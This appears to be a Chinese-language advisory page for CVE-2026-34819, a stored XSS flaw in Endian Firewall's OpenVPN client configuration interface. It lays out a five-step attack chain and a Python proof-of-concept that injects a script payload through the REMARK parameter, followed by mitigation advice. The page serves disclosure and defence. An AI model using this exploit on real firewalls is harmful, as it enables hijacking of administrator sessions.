IPBUF安全漏洞报告
English
CVE-2026-34819 CVSS 6.4 中危

CVE-2026-34819 Endian Firewall 存储型XSS漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34819
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Endian Firewall

相关标签

CVE-2026-34819XSS存储型XSSEndian FirewallWeb漏洞

漏洞概述

Endian Firewall 3.3.25及更早版本在OpenVPN客户端配置接口中存在存储型XSS漏洞。经过身份验证的攻击者可以利用`/cgi-bin/openvpnclient.cgi`接口的`REMARK`参数注入恶意JavaScript代码。当其他用户查看受影响页面时,恶意脚本将自动执行,可能导致会话劫持或权限提升。

技术细节

该漏洞属于存储型跨站脚本攻击(Stored XSS)。漏洞的根本原因在于服务器端未能对`REMARK`参数进行充分的输入验证和输出编码。攻击者需具备低权限账户,向`/cgi-bin/openvpnclient.cgi`发送包含恶意脚本的POST请求。由于攻击载荷被持久化存储,当特权用户(如管理员)访问该OpenVPN配置页面时,服务器会将未经过滤的恶意代码返回给浏览器执行。鉴于CVSS向量中S:C(范围改变),该漏洞可能利用受害者浏览器的上下文攻击同一域下的其他敏感接口,从而造成数据泄露或进一步的控制权获取。

攻击链分析

STEP 1
信息收集
识别目标为Endian防火墙,并确认其版本在3.3.25及以下。
STEP 2
获取凭证
攻击者获取一个低权限用户的登录凭证(通过钓鱼、暴力破解等)。
STEP 3
注入Payload
使用低权限账户登录系统,向`/cgi-bin/openvpnclient.cgi`发送POST请求,在`REMARK`字段中插入恶意JavaScript代码。
STEP 4
等待触发
恶意代码被存储在服务器端。攻击者等待管理员或其他高权限用户访问该配置页面。
STEP 5
执行攻击
当受害者访问页面时,恶意脚本在浏览器中执行,窃取Session ID或执行管理员操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "https://<target_ip>/cgi-bin/openvpnclient.cgi" # Attacker needs a valid authenticated session cookie cookies = { "sid": "<valid_session_id>" } # Malicious payload injected via the REMARK parameter payload_data = { "action": "save", "REMARK": '"><script>alert(document.cookie);</script>' } try: response = requests.post(target_url, data=payload_data, cookies=cookies, verify=False) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Trigger the payload by visiting the OpenVPN client page.") else: print(f"[-] Injection failed, status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

Endian Firewall <= 3.3.25

防御指南

临时缓解措施
建议立即检查并更新Endian Firewall系统。在无法立即升级的情况下,应限制对管理后台的访问来源IP,并部署Web应用防火墙(WAF)对输入参数进行过滤。管理员应警惕不明来源的邮件或链接,避免在未受信任的环境下登录管理后台。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表